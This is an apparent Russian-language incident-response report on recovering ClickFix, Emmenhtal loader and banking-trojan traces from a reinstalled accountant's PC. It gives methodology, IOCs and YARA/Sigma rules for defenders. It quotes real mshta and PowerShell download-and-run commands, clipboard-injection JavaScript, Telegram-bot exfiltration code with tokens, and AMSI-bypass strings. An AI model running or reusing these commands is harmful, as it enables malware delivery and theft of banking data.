Реальный кейс: ClickFix → Emmenhtal → банковский троян → Telegram C2. 23 бот-токена, веб-инжекты Bank of America, SMS-граббер — и всё это найдено после переустановки Windows.
Вступление
В конце февраля 2026 года к нам обратилась организация с подозрением на компрометацию рабочей станции бухгалтера. Сценарий знакомый: на экране появился фейковый экран «Обновление Windows», а параллельно в интернет-банке проводились несанкционированные операции.
Но был нюанс, превративший рядовой IR-кейс в форензик-археологию:
Администратор переустановил Windows до снятия forensic-образа. Затем пользователь в тот же день зашла в 8 банковских систем с теми же учётными данными.
Мы получили клон диска (1 ТБ ADATA SE880, NTFS, 930 ГБ данных) через несколько дней. На руках — свежая Windows с чистыми журналами событий и пустой историей браузера. Тело вируса стёрто. Реестр перезаписан. RAM-дамп не снимали. Классический worst-case для IR-команды.
Итого: ~90% доказательств уничтожено.
Вот что нам удалось восстановить из оставшихся 10%.
Содержание
1. Что у нас было (и чего не было)
Начнём с инвентаризации доказательной базы:
Источник | Статус | Восстановимость |
|---|---|---|
Реестр Windows (HKLM, NTUSER.DAT) | Уничтожен | Невозможно |
EVTX-журналы (Security, System, PS) | Уничтожены | Невозможно — только пост-переустановка |
Тело вируса (EXE/DLL/JS) | Уничтожено | Частично — строки в свободных секторах |
Конфигурация вируса | Уничтожена | Частично — webinjects.cbw, Telegram-токены |
История браузера | Уничтожена | Только пост-переустановка (24-25 февраля) |
RAM (pagefile.sys) | Перезаписан | Чист — новая ОС |
Hiberfil.sys | Перезаписан | Фрагменты старых данных в нижних слоях |
Свободные сектора диска | Сохранены | Наш основной источник |
MFT новой ОС | Доступен | Хронология переустановки |
Shimcache / Amcache | Доступны | Только пост-переустановка |
AnyDesk traces | Доступны | Session count: 0 (никто не подключался) |
Свободные сектора — это области диска, которые были заняты файлами старой ОС, но после переустановки помечены как свободные. Данные в них физически не перезаписаны, пока новые файлы не займут эти сектора. На SSD с wear-leveling ситуация сложнее (TRIM может обнулить данные), но в нашем случае большая часть секторов сохранилась.
Хронология переустановки
Из MFT и EVTX новой ОС мы восстановили точную хронологию:
24.02.2026: 15:49 MSK — NTFS отформатирован, Windows переустановлена 16:00-16:05 — OOBE, создание профиля 17:26 — Запуск WPI-набора BELOFF с USB (пиратский установщик) 17:39 — Установка пиратского Office 2021 17:40 — MAS (пиратская активация через PowerShell) 17:45 — Установка AnyDesk 6.0.8 (версия 2021 года, 5+ лет устарела) 17:49 — Подключение к домену 17:54-17:55 — Установка Radmin Server 3.5.2 (8+ лет устарел) 18:53-19:07 — Установка Taxcom, Kontur, CryptoPro (бухгалтерские системы) 21:19-21:22 — ВХОД В АЛЬФА-БАНК Бизнес Онлайн 25.02.2026: 09:03-09:06 — ВХОД В РАЙФФАЙЗЕН Бизнес Онлайн 11:33 — Повторный вход в Райффайзен 13:05 — Вход в Альфа-Банк
Пользователь зашла в банковские системы через 5 часов после переустановки. С теми же учётными данными, на той же машине. Без смены паролей.
2. Методология: IOC-hunting в 930 ГБ сырого диска
Основная идея
При форматировании NTFS и переустановке Windows диск не обнуляется. Новые NTFS-структуры перезаписывают MFT и системные файлы, но подавляющее большинство секторов сохраняет данные предыдущей установки — пока они не будут постепенно заняты новыми файлами.
Наш подход: полнодисковое извлечение строк + паттерн-матчинг по 12 категориям IOC.
Техническая реализация
Прямой доступ к raw-устройству (read-only монтирование):
# Извлечение ASCII-строк (длина >= 10 символов) из сырого диска strings -t d -n 10 /dev/rdisk2s3 > /tmp/raw_strings.txt # Параллельный поиск по категориям IOC grep -iE 'telegram.org/bot|sendmessage|chat_id=' /tmp/raw_strings.txt > telegram.txt grep -iE 'mshta.*http|mshta.*javascript|mshta.*vbscript' /tmp/raw_strings.txt > mshta.txt grep -iE 'webinject|formgrab|keylog|mimikatz' /tmp/raw_strings.txt > banking.txt grep -iE 'ngrok' /tmp/raw_strings.txt > ngrok.txt grep -iE 'AU3!EA06' /tmp/raw_strings.txt > autoit.txt
Для каждого совпадения мы фиксировали смещение на диске (байтовый offset от начала тома). Это критически важно — смещение позволяет определить, из какой области диска пришла строка: из свободных секторов (уничтоженная ОС) или из активных файлов (текущая ОС).
Результаты первого прохода
Категория | Паттерн | Совпадений |
|---|---|---|
Telegram Bot API |
| 262 строки |
mshta-команды |
| 61 строка |
Malware-семейства |
| 1791 строка |
Банковские артефакты |
| 65 строк |
AutoIt-маркеры |
| 10+ вхождений |
ngrok |
| 40+ строк |
1791 совпадение по malware-семействам выглядит впечатляюще. На первый взгляд — машина заражена половиной известных вредоносных семейств. Но тут начинается самая интересная часть.
3. Проблема ложноположительных: VDM-дисамбигуация
Почему 95.9% совпадений — это не малварь
Из 1791 совпадения мы увидели строки вроде:
!ClickFix.DEC AgentTesla.PRTT!MTB !FormBook.AGEx !LummaStealer.AAPT SnakeKeylogger.RDA !#TEL:Trojan:Win32/Buhtrap.GHM!MTB
Знакомый формат? Это имена сигнатур Windows Defender.
Windows Defender хранит свои антивирусные определения в VDM-файлах (mpasbase.vdm, mpavbase.vdm и их дельты/бэкапы) — это бинарные базы объёмом ~400 МБ. Внутри — строковые имена всех известных Defender’у вредоносных семейств.
Когда вы ищете строку ClickFix на сыром диске — вы неизбежно найдёте сотни совпадений внутри VDM-баз, которые никакого отношения к реальному заражению не имеют.
Методика разделения
Локализация VDM. На диске нашлись 12 VDM-файлов:
ProgramData/Microsoft/Windows Defender/Definition Updates/ {84DD86D6-...}/mpasbase.vdm (132 МБ) {84DD86D6-...}/mpavbase.vdm (68 МБ) {84DD86D6-...}/mpasdlta.vdm (1.4 МБ) {84DD86D6-...}/mpavdlta.vdm (1.7 МБ) Backup/ (~200 МБ) Default/ (~200 МБ)
Определение дискового смещения. Все VDM-файлы расположены в NTFS-области, соответствующей смещению ~25 ГБ от начала тома.
Фильтрация. Каждая строка из raw-скана содержит метку смещения. Все записи со смещением ~25 ГБ — VDM-сигнатуры.
Результат
Категория | Количество | % |
|---|---|---|
Всего совпадений | 1791 | 100% |
VDM-сигнатуры (область 25 ГБ) | 1717 | 95.9% |
Реальные артефакты (другие смещения) | 74 | 4.1% |
Из 74 “реальных” записей подавляющее большинство оказались ложноположительными совпадениями с легитимным кодом:
Строка | Реальный источник |
|---|---|
| CSS-класс в минифицированном JavaScript |
| Переменная .NET |
| Флаг фичи Windows |
| Метод Chromium |
| WMI-сервис Windows |
| Имя правила детекции Defender |
Урок для IR-практиков: при сканировании raw-диска на строки malware-семейств всегда вычитайте содержимое VDM/сигнатурных баз. Без этого шага ваш IOC-лист будет завышен на порядок.
Реальные IOC трояна (webinjects.cbw, Telegram-токены, mshta-команды, JavaScript-код эксфильтрации) были подтверждены из других категорий — через контекстуальный анализ JavaScript-кода, API-вызовов и URL-команд, которые не могут быть частью VDM.
4. Telegram-токены: от 262 строк к 23 реальным ботам
Проблема ложноположительных (часть 2)
Паттерн Telegram Bot Token ([0-9]{8,10}:[A-Za-z0-9_-]{10,}) матчит далеко не только ботов. Из 262 строк и 53 уникальных кандидатов, 30 оказались мусором:
“Токен” | Реальный источник |
|---|---|
| Yandex Metrika |
| JavaScript |
| ASCII charset test |
| Mail.ru CSRF-токен |
| Бинарные данные (JPEG-заголовки) |
Результат фильтрации
23 реальных Telegram-бота (9 полных токенов + 14 фрагментов). Ключевой критерий реальности — JavaScript-контекст:
// Вариант 1: прямое присвоение var telegram_bot_id = "7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom"; // Вариант 2: API-вызов с chat_id telegram.org/bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908 // Вариант 3: const + apikey const apikey = '7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4'; // Вариант 4: var + token var token = '5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k'; // Вариант 5: let + обфусцированное имя let yxz = '6158050829:aafcxihqt0ymqlkj2trnjrrcoicdxashoay';
Разнообразие паттернов (var/const/let, разные имена переменных — telegram_bot_id, apikey, token, yxz) и количество токенов (23) указывают на MaaS-модель с множественными операторами или ротацией ботов между кампаниями.
Верификация через API
Все 9 полных токенов проверены:
curl -s "https://api.telegram.org/bot7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom/getMe" # {"ok":false,"error_code":401,"description":"Unauthorized"}
Результат для всех 9: 401 Unauthorized — боты удалены или отозваны к моменту анализа.
Полный список полных токенов
# | Bot ID | Token | Контекст |
|---|---|---|---|
1 | 7217369886 |
|
|
2 | 6989057172 |
| sendmessage + chat_id |
3 | 5450319009 |
|
|
4 | 7108437914 |
| standalone |
5 | 7200176830 |
|
|
6 | 6158050829 |
|
|
7 | 7150547715 |
|
|
8 | 7210144457 |
|
|
9 | 8210503521 |
|
|
Chat ID получателя: 6481270908 — единственный chat_id, обнаруженный в API-вызовах. Это аккаунт злоумышленника, куда стекались все украденные данные.
5. Hiberfil.sys: подтверждение исполнения в RAM
Зачем анализировать hiberfil.sys
hiberfil.sys — файл гибернации Windows, по сути дамп оперативной памяти, записываемый при переходе в режим гибернации. Хотя файл был перезаписан новой ОС (дата модификации — 25.02.2026, 13:09), в нижних слоях диска (свободные сектора в месте хранения старого hiberfil.sys) могли сохраниться фрагменты данных из периода до переустановки.
Файл весит 64 ГБ. Мы не пытались парсить его структуру (заголовок уже от новой ОС), а использовали поиск строк:
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'telegram|sendmessage|bot[0-9]{7}' > /tmp/hiberfil_telegram.txt strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'mshta|klipjaqemiu|codebizz|refinim' > /tmp/hiberfil_mshta.txt strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'webinject|formgrab|keylog|mimikatz' > /tmp/hiberfil_banking.txt
Критические находки
5.1 Telegram-токены — подтверждены в RAM
Те же токены, что и на raw-диске, обнаружены в hiberfil.sys:
bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908 var telegram_bot_id="7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom" var token='5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k' const apikey='7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4'
Значимость: Если данные найдены в hiberfil.sys — значит вредоносное ПО было загружено в оперативную память и активно функционировало. Это не просто файл на диске — это работающий процесс.
5.2 JavaScript-код эксфильтрации — восстановлен
Из hiberfil.sys удалось извлечь фрагменты кода трояна:
// Код отправки данных fetch(telegramurl, { method: 'post', headers: {'content-type': 'application/json'}, body: ... }); // Подтверждение отправки if (response.ok) { alert('data sent to telegram?...') } // XHR-запрос к подозрительному домену var xhr = new XMLHttpRequest(); xhr.open("get", "//lurgee.stream/?mrqkckdvdd_" + win...
5.3 Base64-encoded webinject — Bank of America
В hiberfil.sys обнаружена Base64-строка:
dGl0bGU+QmFuayBvZiBBbWVyaWNhIHwgT25saW5lIEJhbmtpbmcgfCBWZXJpZmljYXRpb24gUGFnZTwvP
Декодирование:
<title>Bank of America | Online Banking | Verification Page</title>
Фишинговая страница Bank of America, внедряемая через webinjects. Это доказывает, что троян содержал инжекты не только для российских, но и для международных банков.
5.4 Модульная структура трояна
Из hiberfil.sys восстановлена структура модулей:
Находка | Значение |
|---|---|
| Архитектура модулей: бот-связь, кейлоггер, скриншоты, C2 |
| SMS-граббер — перехват SMS для обхода 2FA |
| DPAPI-кейлоггер для перехвата Windows credentials |
| Скрытый кейлоггер со записью экрана |
| Бесшумный режим кейлоггера |
| Сбор данных из Telegram-приложения пользователя |
| PDB debug-путь формграббера |
5.5 Новые домены
Домен | Контекст |
|---|---|
| URL конфигурации webinjects (.cbw файл) |
| XHR GET-запрос из кода трояна |
5.6 Ngrok — доставка .dotm
://816e-182-227-90-53.ngrok.io/open.dotm
Формат .dotm — Microsoft Word Template с макросами. Ngrok-туннель использовался не только как C2, но и для доставки вредоносных документов.
Почему hiberfil.sys важнее raw-диска
В отличие от raw-диска, hiberfil.sys не содержит VDM-баз Defender. Все совпадения в hiberfil.sys — это строки, которые были в оперативной памяти. Обнаружение тех же IOC в двух независимых источниках (свободные сектора диска + hiberfil.sys) подтверждает их подлинность.
6. Kill Chain: ClickFix → Emmenhtal → Banking Trojan
На основании всех восстановленных артефактов мы реконструировали полную цепочку атаки:
СТАДИЯ 0: СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ — ClickFix │ │ Жертва попадает на страницу с фейковой CAPTCHA │ (life-captcha.*, Dropbox-лура с украинской тематикой) │ │ JavaScript verify() копирует команду в буфер обмена: │ mshta https://klipjaqemiu.shop/web44.mp4 │ │ Инструкция: "Нажмите Win+R → Ctrl+V → Enter" │ ▼ СТАДИЯ 1: MSHTA.EXE — Загрузка polyglot │ │ mshta.exe загружает файл web44.mp4 │ .mp4 = polyglot (легитимный PE-заголовок + HTA-код в конце) │ mshta парсит HTA-часть: <hta:application id="ohta"> │ Выполняет встроенный JavaScript │ ▼ СТАДИЯ 2: JAVASCRIPT → POWERSHELL — Деобфускация │ │ String.fromCharCode() + eval() → PowerShell-скрипт │ Execution Policy → Bypass / Unrestricted │ -WindowStyle Hidden (невидимое окно) │ ▼ СТАДИЯ 3: AES + REFLECTION — Fileless-загрузка │ │ PowerShell: │ 1. AES-дешифрование второй стадии (~10 МБ обфускации) │ 2. Bypass AMSI через модификацию CLR DLL в памяти │ 3. Отключение trace-логов (anti-forensics) │ 4. [System.Reflection.Assembly]::Load() — загрузка .NET в память │ │ Результат: payload работает полностью в RAM, без записи на диск │ ▼ СТАДИЯ 4: БАНКОВСКИЙ ТРОЯН — Активная фаза │ │ ┌── Webinjects (webinjects.cbw) │ │ Подмена содержимого банковских страниц │ │ Включая Bank of America (международные инжекты) │ │ │ ├── Formgrabber (insertFormGrabberKit.pdb) │ │ Перехват данных из HTML-форм │ │ │ ├── Keylogger + Screen Recording │ │ tasks.media.screenrecord/app/hidden/keylogger │ │ HOMEKEYLOGGER_MUTE — бесшумный режим │ │ DPAPICredKeyLogg — перехват Windows credentials │ │ │ ├── SMS Grabber │ │ Перехват SMS для обхода 2FA │ │ │ ├── Mimikatz (reflective) │ │ Извлечение паролей из памяти Windows │ │ Рефлективная загрузка (без записи mimikatz.exe на диск) │ │ │ ├── Telegram Data Theft │ │ "Collecting Telegram data (main thread)" │ │ │ └── Fake "Windows Update" Screen │ Блокировка экрана при проведении операций в банке │ ▼ СТАДИЯ 5: ЭКСФИЛЬТРАЦИЯ │ │ Канал 1: Telegram Bot API │ → 23 бота → Chat ID 6481270908 │ → fetch(telegramurl, {method:'post'}) │ → /sendMessage, /sendDocument │ │ Канал 2: Ngrok C2 │ → 816e-182-227-90-53.ngrok.io │ → Доставка .dotm (Word-макросы) │ → IP: 182.227.90.53 (Сеул, Ю.Корея) │ │ Канал 3: HTTP exfiltration │ → marathon.teachmemoney.net (webinject config) │ → lurgee.stream (XHR GET) │ → /eme/03/index.php (FormGrabberKit endpoint)
Восстановленные mshta-команды
Из raw-диска извлечено 40+ уникальных mshta-команд. Вот ключевые:
# 1. ClickFix → Emmenhtal verify(){const texttocopy=`mshta https://klipjaqemiu.shop/web44.mp4` # 2. Обфускация через .insert() -c 'mshta'.insert(5,'https://codebizz.com/7896745657879090.mp4') # 3. Фейковый Zoho WorkDrive + substring() mshta https://awakka-aws3.zoho-documents.com/hekko.mp4 # 4. PowerShell → mshta powershell -windowstyle hidden -command mshta https://ezstat.ru/ # 5. VBScript dropper mshta vbscript:createobject("wscript.shell").run "powershell -..." # 6. CMD → mshta → JavaScript c:\windows\system32\cmd.exe /c mshta "javascript:var _$_..." # 7. Фейковая CAPTCHA mshta.exe https://life-captcha... # 8. Российский хостинг system32\mshta.exe http://a0716572.xsph.ru/ques # 9. HTA payload -noprofile -command "mshta https://refinim.site/ruzirious"
Разнообразие техник обфускации (.insert(), .substring(), javascript:, vbscript:, PowerShell relay, CMD wrapper) говорит о промышленном подходе к доставке — это не одиночный скрипт, а инструментарий с множественными вариантами доставки.
AutoIt-компонент
На диске обнаружены маркеры скомпилированных AutoIt-скриптов (AU3!EA06) на 6 разных смещениях (0, 25, 51, 71, 75, 84 ГБ). AutoIt широко используется в банковских троянах Buhtrap/RTM для автоматизации действий в интернет-банке.
7. OSINT и атрибуция
Emmenhtal Loader: профиль
Параметр | Значение |
|---|---|
Семейство | Emmenhtal (aka PEAKLIGHT, IDATDropper) |
Впервые обнаружен | Февраль 2024 |
Раскрыт публично | Август 2024 (Orange Cyberdefense + Mandiant) |
Модель | MaaS (Malware-as-a-Service) |
SHA256 нашего образца |
|
MD5 |
|
URL доставки |
|
Вердикт ANY.RUN | MALICIOUS |
ThreatFox | 380 sightings |
Доставляемые семейства | Lumma, CryptBot, Amadey, SmokeLoader, DarkGate, Remcos + 10 других |
Инфраструктура | 100+ WebDAV-серверов (Sekoia.io), ASN: Terasyst, Zonata, BL Networks |
Кластер доменов
Паттерн klip*.shop, регистрация Namecheap, Cloudflare NS, Исландия:
Домен | Файл | SHA256 |
|---|---|---|
| web44.mp4 |
|
| web.png (2-я стадия) | — |
| web44.dle |
|
| kongo.mp4 |
|
| web44.mp4 |
|
OSINT по доменам из инцидента
Домен | Статус | Роль |
|---|---|---|
| MALICIOUS (ANY.RUN, ThreatFox) | Emmenhtal payload host |
| Заблокирован GoDaddy (clientDeleteProhibited) | Фейковый .mp4 |
| Trust Score 1/100, blacklisted | IP-трекер (сеть iplogger.org) |
| Подозрительный | HTA payload via mshta |
| Тайпосквоттинг Zoho | Фейковый WorkDrive |
| Подозрительный | VBScript dropper |
| Подозрительный | Webinject config (.cbw) |
| Подозрительный | XHR exfiltration endpoint |
IP-адреса
IP | Геолокация | ISP | Роль | OSINT |
|---|---|---|---|---|
182.227.90.53 | Сеул, Ю.Корея | LG POWERCOMM, AS17858 | Ngrok C2-туннель | Резидентный, скомпрометированное устройство |
188.114.96.3 | Cloudflare | AS13335 | Proxy klipjaqemiu.shop | 801 abuse-отчёт на AbuseIPDB |
185.215.113.43 | — | — | Amadey C2 | Cisco Talos |
88.151.192.165 | — | — | SmokeLoader C2 | G-Data |
Атрибуция
Группировка | Совпадение | Характеристики |
|---|---|---|
CoralRaider (Вьетнам) | ВЫСОКОЕ | Cisco Talos атрибуция Emmenhtal, LNK→mshta→HTA→PS цепочка |
Emmenhtal / PeakLight | ПОДТВЕРЖДЕНО | Домен, SHA256, ThreatFox |
ClickFix | ВЫСОКОЕ | Метод #1 initial access 2025 (47% атак по Microsoft) |
Buhtrap / RTM (наследники) | СРЕДНЕЕ | Те же TTP (бухгалтеры РФ, веб-инжекты, AutoIt) |
Аналогичные кампании против российских финансистов (2025-2026)
Кампания | Период | Малварь | C2 |
|---|---|---|---|
MoneyMount-ISO / Phantom Stealer | июнь-сентябрь 2025 | Custom stealer | Telegram |
Amnesia RAT + Hakuna Matata | январь 2026 | RAT + ransomware | Telegram |
DupeHike / DUPERUNNER (UNG0902) | ноябрь 2025+ | C++ implant | AdaptixC2 |
Наш инцидент | февраль 2026 | Banking trojan | Telegram |
8. Правила детекции: YARA и Sigma
Мы публикуем 10 YARA-правил и 10 Sigma-правил для детекции наблюдаемой цепочки атаки.
YARA-правила
1. Emmenhtal Polyglot (.mp4 + HTA)
rule Emmenhtal_Polyglot_MP4_HTA { meta: description = "Emmenhtal polyglot: PE header + embedded HTA + PowerShell" author = "IDEANIX LLC" date = "2026-03-14" hash = "4864E60175EC2FB6F2724C0830C3BF09C043D327C5824E77C8C2A8B2E077FDCF" mitre_attack = "T1218.005" strings: $mz = "MZ" at 0 $hta1 = "<hta:application" ascii nocase $hta2 = "hta:application id=" ascii nocase $ps1 = "powershell" ascii nocase $ps2 = "Reflection.Assembly" ascii nocase $fromchar = "String.fromCharCode" ascii condition: $mz and filesize > 100KB and (1 of ($hta*)) and (1 of ($ps*) or $fromchar) }
2. Telegram Bot JS Exfiltration
rule Telegram_Bot_JS_Exfiltration { meta: description = "JavaScript exfiltrating data via Telegram Bot API" author = "IDEANIX LLC" mitre_attack = "T1567" strings: $api1 = "api.telegram.org/bot" ascii nocase $api2 = "telegram.org/bot" ascii nocase $send1 = "/sendMessage" ascii nocase $send2 = "/sendDocument" ascii nocase $send3 = "chat_id=" ascii $token = /[0-9]{8,10}:AA[A-Za-z0-9_\-]{30,}/ ascii $js1 = "var telegram_bot_id" ascii nocase $js2 = "const apikey" ascii nocase $fetch = "fetch(" ascii condition: (1 of ($api*) and 1 of ($send*)) or ($token and 1 of ($js*)) or ($token and $fetch and $send3) }
3. Banking Trojan Webinjects (.cbw)
rule Banking_Trojan_Webinjects_CBW { meta: description = "Banking trojan webinject configuration (.cbw format)" author = "IDEANIX LLC" mitre_attack = "T1185" strings: $cbw1 = "webinjects.cbw" ascii nocase $cbw2 = "webinject.log" ascii nocase $grab1 = "formgrabber" ascii nocase $grab2 = "formgrab" ascii nocase $inject1 = "data_inject" ascii nocase $inject2 = "data_before" ascii nocase $inject3 = "data_after" ascii nocase condition: (1 of ($cbw*) and 1 of ($grab*)) or (3 of ($inject*)) }
4. ClickFix Fake CAPTCHA
rule ClickFix_Fake_Captcha { meta: description = "ClickFix social engineering: fake CAPTCHA + clipboard injection" author = "IDEANIX LLC" mitre_attack = "T1204.001" strings: $verify = "verify()" ascii nocase $captcha1 = "life-captcha" ascii nocase $captcha2 = "i am not a robot" ascii nocase $captcha3 = "press Win+R" ascii nocase $clip1 = "texttocopy" ascii nocase $clip2 = "navigator.clipboard" ascii nocase $clip3 = "execCommand('copy')" ascii nocase $mshta = "mshta" ascii nocase $ps = "powershell" ascii nocase condition: (1 of ($captcha*) or $verify) and (1 of ($clip*)) and ($mshta or $ps) }
Sigma-правила
1. Mshta + .shop (Emmenhtal delivery)
title: Mshta Execution with .shop Domain id: a1b2c3d4-e5f6-7890-abcd-ef1234567890 status: experimental description: mshta.exe loading from .shop TLD — Emmenhtal loader author: IDEANIX LLC tags: - attack.t1218.005 logsource: category: process_creation product: windows detection: selection_mshta: Image|endswith: '\mshta.exe' selection_shop: CommandLine|contains: '.shop' condition: selection_mshta and selection_shop level: critical
2. PowerShell Reflection + AES (fileless .NET)
title: PowerShell Reflection Assembly with AES id: b2c3d4e5-f6a7-8901-bcde-f12345678901 status: experimental description: Fileless .NET loading with AES — Emmenhtal signature author: IDEANIX LLC tags: - attack.t1059.001 - attack.t1620 logsource: category: process_creation product: windows detection: selection_ps: Image|endswith: - '\powershell.exe' - '\pwsh.exe' selection_reflection: CommandLine|contains: - 'Reflection.Assembly' - 'Assembly::Load' selection_crypto: CommandLine|contains: - 'AesCryptoServiceProvider' - 'RijndaelManaged' condition: selection_ps and selection_reflection and selection_crypto level: critical
3. Telegram Bot API от не-браузера
title: Telegram Bot API from Non-Browser Process id: c3d4e5f6-a7b8-9012-cdef-123456789012 status: experimental description: Non-browser Telegram Bot API traffic — data exfiltration author: IDEANIX LLC tags: - attack.t1567 logsource: category: proxy detection: selection_url: c-uri|contains: 'api.telegram.org/bot' filter_browsers: c-useragent|contains: - 'Mozilla' - 'Chrome' - 'Firefox' condition: selection_url and not filter_browsers level: high
4. AMSI Bypass в PowerShell
title: AMSI Bypass Attempt in PowerShell id: c9d0e1f2-a3b4-5678-cdef-789012345678 status: experimental description: Common AMSI bypass techniques used by Emmenhtal author: IDEANIX LLC tags: - attack.t1562 logsource: category: ps_script product: windows detection: selection: ScriptBlockText|contains: - 'AmsiUtils' - 'amsiInitFailed' - 'AmsiScanBuffer' - 'SetValue($null,$true)' condition: selection level: critical
Полные наборы правил (10 YARA + 10 Sigma) доступны в приложении.
9. IOC
Домены
Домен | Роль | Статус |
|---|---|---|
| Emmenhtal payload host | MALICIOUS |
| 2-я стадия payload | MALICIOUS |
| Связанный Emmenhtal домен | MALICIOUS |
| Связанный Emmenhtal домен | MALICIOUS |
| Связанный Emmenhtal домен | MALICIOUS |
| Доставка фейковых .mp4 | Locked by registrar |
| HTA payload delivery | Suspicious |
| Тайпосквоттинг Zoho | Suspicious |
| IP-трекер (iplogger.org) | Trust Score 1/100 |
| VBScript dropper | Suspicious |
| Webinject config server | Suspicious |
| XHR exfiltration | Suspicious |
Хеши
Тип | Хеш | Файл |
|---|---|---|
SHA-256 |
| klipjaqemiu.shop/web44.mp4 |
MD5 |
| то же |
SHA-1 |
| то же |
SHA-256 |
| web44.mp4 (alt domain) |
SHA-256 |
| savecoupons.store/web44.mp4 |
SHA-256 |
| klipderiq.shop/sh |
SHA-256 |
| klipderiq.shop/kongo.mp4 |
Сетевые индикаторы
IP | Контекст |
|---|---|
| Cloudflare proxy klipjaqemiu.shop (801 abuse-отчёт) |
| IP за ngrok C2 (Сеул, LG POWERCOMM) |
| Amadey C2 (Emmenhtal MaaS, Cisco Talos) |
| SmokeLoader C2 (Emmenhtal MaaS, G-Data) |
Telegram
Тип | Значение |
|---|---|
Chat ID (атакующий) |
|
Bot #1 |
|
Bot #2 |
|
Bot #3 (фрагмент) |
|
Bot #4 |
|
Bot #5 |
|
Bot #6 |
|
Bot #7 |
|
Bot #8 |
|
Bot #9 |
|
Bot #10 |
|
Ngrok
Индикатор | Контекст |
|---|---|
| C2 + доставка Word-макросов |
URL
URL | Контекст |
|---|---|
| Сервер FormGrabberKit |
| Конфигурация webinjects |
10. Выводы и рекомендации
Что мы узнали
Переформатированный диск — не приговор. Из 930 ГБ свободных секторов мы восстановили 23 Telegram-бота, 40+ mshta-команд, веб-инжекты, JavaScript-код эксфильтрации, PDB-путь формграббера и модульную структуру трояна. Достаточно, чтобы реконструировать полную kill chain от initial access до exfiltration.
VDM-дисамбигуация — must-have. 95.9% совпадений по строкам malware-семейств были ложноположительными из баз Windows Defender. Без этого шага отчёт содержал бы тысячи фантомных IOC.
Hiberfil.sys — недооценённый источник. Даже после переустановки ОС фрагменты старого hiberfil.sys сохраняются в свободных секторах. Мы подтвердили активность трояна в RAM через анализ hiberfil.sys.
Telegram как C2 — новая норма. 23 бота в одном инциденте. По данным Bitsight, ~1800 Telegram-ботов обрабатывают 5 млн+ украденных лог-файлов. Encrypted transport + глобальная доступность + простой API = идеальный C2.
ClickFix + Emmenhtal — production-grade kill chain. ClickFix (фейковая CAPTCHA → clipboard → Win+R) + Emmenhtal (polyglot → AES → Reflection → fileless) — эта связка устойчива к большинству endpoint-защит. Метод #1 для initial access в 2025 (47% атак по Microsoft).
MaaS-модель усложняет атрибуцию. Emmenhtal продаётся как сервис. Ваш IOC — не конкретная APT-группа, а клиент MaaS-платформы, арендующий инфраструктуру для доставки своего payload.
Рекомендации для IR-команд
Никогда не переустанавливайте ОС до forensics. 30 минут на создание образа диска + дамп RAM дают на порядок больше доказательств.
При raw-скане всегда вычитайте VDM. Без дисамбигуации ваш IOC-лист будет содержать тысячи ложноположительных.
Не забывайте hiberfil.sys. Даже перезаписанный — его фрагменты могут подтвердить исполнение в RAM.
Фильтруйте Telegram-токены. Паттерн
[0-9]{10}:[A-Za-z0-9_-]{35}матчит Yandex banerid, JS-константы, CSRF-токены и бинарные данные.
Рекомендации для защитников
Заблокируйте mshta.exe через AppLocker/WDAC. Легитимное использование в 99% сред равно нулю.
Мониторьте Telegram Bot API на прокси/NGFW. Не-браузерные процессы, обращающиеся к
api.telegram.org— триггер для алерта.Включите PowerShell Script Block Logging и Constrained Language Mode. Это два самых эффективных контрола против PowerShell-стадии Emmenhtal.
Разверните Sysmon с правилами на цепочки процессов:
mshta → powershell → powershell.Сегментируйте банковские рабочие станции. Бухгалтер, работающий с 8 банками, не должен иметь доступ к произвольным сайтам.
Откажитесь от пиратского ПО на критичных станциях. WPI-наборы и пиратские активаторы — потенциальный вектор заражения и запускаются от SYSTEM.
MITRE ATT&CK Mapping
ID | Техника | Доказательство |
|---|---|---|
T1204.001 | User Execution: Malicious Link | ClickFix fake CAPTCHA |
T1218.005 | Mshta | 40+ команд, основной вектор доставки |
T1059.001 | PowerShell | AES + Reflection + AMSI bypass |
T1059.005 | VBScript |
|
T1059.007 | JavaScript |
|
T1027 | Obfuscated Files | Base64, AES, polyglot PE+HTA |
T1036.008 | Masquerading: File Extension | .mp4 = PE+HTA polyglot |
T1620 | Reflective Code Loading |
|
T1562.001 | Impair Defenses | AMSI bypass, trace disable |
T1056.001 | Keylogging | keylogger + screen recording |
T1056.002 | GUI Input Capture | formgrabber |
T1185 | Browser Session Hijacking | webinjects (Bank of America и др.) |
T1003 | Credential Dumping | Mimikatz (reflective) |
T1111 | Multi-Factor Auth Interception | SMS Grabber |
T1567 | Exfil Over Web Service | Telegram Bot API (23 бота) |
T1572 | Protocol Tunneling | ngrok C2 |
T1583.001 | Acquire Infrastructure: Domains | .shop домены, Namecheap |
S0508 | ngrok | Вторичный C2 + доставка .dotm |
Источники
VB2025 — Emmenhtal: Silent Enabler of Modern Malware Campaigns
Krebs on Security — ClickFix: How to Infect Your PC in Three Easy Steps
Данное исследование проведено в рамках авторизованного расследования инцидента ИБ. Все данные, идентифицирующие пострадавшую организацию, анонимизированы. Инфраструктура атакующих (домены, IP-адреса, Telegram-токены) опубликована намеренно для защиты сообщества.
IOC доступны в форматах STIX 2.1, CSV, YARA и Sigma для прямого импорта в SIEM/EDR.
IDEANIX LLC — Digital Forensics & Incident Response